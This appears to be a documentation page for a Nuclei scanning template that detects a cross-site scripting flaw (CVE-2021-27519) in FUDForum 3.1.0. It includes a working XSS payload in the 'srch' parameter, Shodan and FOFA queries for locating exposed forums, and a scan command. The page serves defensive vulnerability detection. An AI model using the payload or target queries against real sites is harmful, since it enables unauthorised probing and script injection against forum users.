FUDForum 3.1.0 - Cross-Site Scripting
ID: CVE-2021-27519
Severity: medium
Author: kh4sh3i
Tags: cve2021,cve,xss,fudforum,edb,packetstorm
Description
Section titled “Description”FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the “srch” parameter.
YAML Source
Section titled “YAML Source”id: CVE-2021-27519
info: name: FUDForum 3.1.0 - Cross-Site Scripting author: kh4sh3i severity: medium description: | FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. remediation: | Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability. reference: - https://www.exploit-db.com/exploits/49942 - https://github.com/fudforum/FUDforum/issues/2 - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html - https://nvd.nist.gov/vuln/detail/CVE-2021-27519 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-27519 cwe-id: CWE-79 epss-score: 0.00217 epss-percentile: 0.59671 cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: fudforum product: fudforum shodan-query: - 'http.html:"Powered by: FUDforum"' - http.html:"fudforum" - 'http.html:"powered by: fudforum"' fofa-query: - 'body="powered by: fudforum"' - body="fudforum" tags: cve2021,cve,xss,fudforum,edb,packetstorm
http: - method: GET path: - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'
matchers-condition: and matchers: - type: word part: body words: - 'highlightSearchTerms("x" onmouseover=alert(1) x="");'
- type: word part: header words: - text/html
- type: status status: - 200# digest: 490a0046304402200e1d4abb0fd5ee480d8f4c9dd10ac57352e9fd1b01d4928f873cc6aa3a7303cf02206fa03ef686ffeef0e3e1db39fdda8ad4b1a68018b6d413be95ce6f9af82788e4:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27519.yaml"